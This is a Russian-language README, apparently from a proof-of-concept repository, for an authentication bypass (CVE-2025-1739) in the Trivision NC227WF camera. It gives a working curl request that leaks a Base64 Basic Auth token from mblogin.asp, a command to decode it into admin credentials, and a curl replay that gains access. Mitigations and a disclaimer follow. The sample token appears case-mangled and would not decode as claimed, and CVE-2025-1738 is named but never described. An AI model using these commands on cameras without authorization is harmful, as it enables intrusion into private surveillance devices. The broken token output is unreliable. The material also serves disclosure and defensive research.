CVE-2025-1738 и CVE-2025-1739 — PoC для камеры Trivision NC227WF

📋 Обзор

🔓 CVE-2025-1739 — Утечка кода Basic Auth / Обход аутентификации (CWE-288)

Описание

Камера передает валидный токен Basic Authentication в кодировке Base64 через эндпоинт mblogin.asp. Этот токен можно тривиально декодировать и повторно использовать для получения несанкционированного доступа к устройству — знание пароля не требуется.

• Вектор атаки: Смежная сеть (AV:A)
• CVSS Score: 7.1
• CWE: CWE-288 (Обход аутентификации с использованием альтернативного пути или канала)

Полезная нагрузка

curl -u admin:whatever http://<IP_КАМЕРЫ>:<ПОРТ> --request-target en/mobile/mblogin.asp

Пример ответа

Ответ содержит валидный токен Basic Auth:

ywrtaw46vw5ndwvzc2fibguxmjmh

Декодирование токена

echo "ywrtaw46vw5ndwvzc2fibguxmjmh" | base64 -d
# Вывод: admin:unguessable123!

Повторное использование токена

curl -H "Authorization: Basic ywrtaw46vw5ndwvzc2fibguxmjmh" http://<IP_КАМЕРЫ>:<ПОРТ>/

🛡️ Меры защиты

• Обновите прошивку, если доступна исправленная версия от Trivision.
• Изолируйте камеру в отдельной VLAN без внешнего доступа.
• Заблокируйте порт управления камеры на межсетевом экране от недоверенных сегментов сети.
• Измените стандартные учетные данные и регулярно меняйте пароли.
• Отслеживайте неожиданные обращения к activex_pal.asp и mblogin.asp.

⚖️ Отказ от ответственности

Этот репозиторий предназначен только для образовательных и авторизованных исследований в области безопасности. Авторы не несут ответственности за любое неправомерное использование. Всегда получайте явное разрешение перед тестированием любого устройства.